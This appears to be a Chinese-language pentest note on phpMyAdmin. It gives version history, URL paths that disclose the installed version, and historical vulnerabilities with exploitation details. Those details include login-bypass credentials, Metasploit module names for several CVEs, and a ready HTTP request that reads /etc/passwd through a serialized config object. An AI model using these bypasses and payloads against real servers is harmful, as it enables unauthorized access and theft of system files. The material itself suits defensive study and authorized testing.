目录
一、phpMyAdmin简介
phpMyAdmin 是一个用php编写的免费软件工具,旨在通过Web友好界面处理MySQL的管理。phpMyAdmin 支持对 MySQL 和 MariaDB 数据库的广泛操作。经常使用的操作(有如管理数据库、表、列、关系、索引、用户、权限等)可以通过用户界面执行,当然您也可以直接执行任何 SQL 语句。
从1998年发布第一版,到目前发布的最新版为5.1.1,全部历史版本说明:
phpMyAdmin 5.2未来版本与PHP7.2及更高版本和MySQL/MariaDB 5.5及更高版本兼容。
phpMyAdmin 5.1.1当前版本与PHP7.1及更新版本和MySQL/MariaDB 5.5及更新版本兼容。
phpMyAdmin 5.0.0与PHP 7.1及更新版本和MySQL/MariaDB 5.5及更新版本兼容的旧版本。一直支持到2021年2月24日。
phpMyAdmin 4.9.7旧版本,兼容PHP5.5至7.4和MySQL/MariaDB 5.5及更新版本。当前仅支持安全修复程序。
phpMyAdmin4.9.0当前版本与PHP5.5至7.3和MySQL 5.5及更新版本兼容。
phpMyAdmin4.8.0 phpMyAdmin4.6.0-4.7.0旧版本,兼容PHP5.5至7.1和MySQL 5.5及更新版本。支持期至2017年4月1日。
phpMyAdmin4.4.0旧版本,与PHP5.3.7至7.0和MySQL 5.5兼容。一直支持到2016年10月1日。
phpMyAdmin4.1.0-4.3.0旧版本,与PHP5.3和MySQL 5.5兼容。一直支持到2015年10月1日。
phpMyAdmin4.0.0旧版本,与PHP5.2和MySQL 5兼容。不支持PHP 5.5或更新版本。支持期至2017年4月1日。
二、查看phpmyadmin版本
直接在phpmyadmin的url后加下面文件路径爆出:
/readme
/changelog
/Change
/changelog.php
/Documetation.html
/Documetation.txt
/translators.html
/doc/html/index.html
三、历史漏洞及poc利用
1、万能密码直接登入
弱口令:版本phpmyadmin2.11.9.2, 直接root用户登陆,无需密码
万能密码:版本2.11.3 / 2.11.4,用户名'localhost'@'@"则登录成功
2、CVE-2009-1151:远程代码执行
漏洞位置:配置文件/config/config.inc.php
影响版本:phpmyadmin 2.11.x < 2.11.9.5 and 3.x < 3.1.3.1
利用模块:msf>> exploit/unix/webapp/phpmyadmin_config
3、CVE-2012-5159:任意PHP代码攻击
漏洞位置:文件server_sync.php中包含外部文件导致
影响版本:phpMyAdmin v3.5.2.2
利用模块:msf>> exploit/multi/http/phpmyadmin3522_backdoor
4、CVE-2013-3238:远程PHP代码执行
漏洞位置:preg_replace()函数可被利用在服务器端执行任意PHP代码
影响版本:phpmyadmin 3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG
利用模块:msf>> exploit/multi/http/phpmyadminpregreplace
5、WooYun-2016-199433:任意文件读取漏洞
影响版本:phpMyAdmin version 2.x版本
POC如下:
POST /scripts/setup.php HTTP/1.1
Host: target.com
Accept-Encoding: gzip, deflate Accept: */*
Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trid ent/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}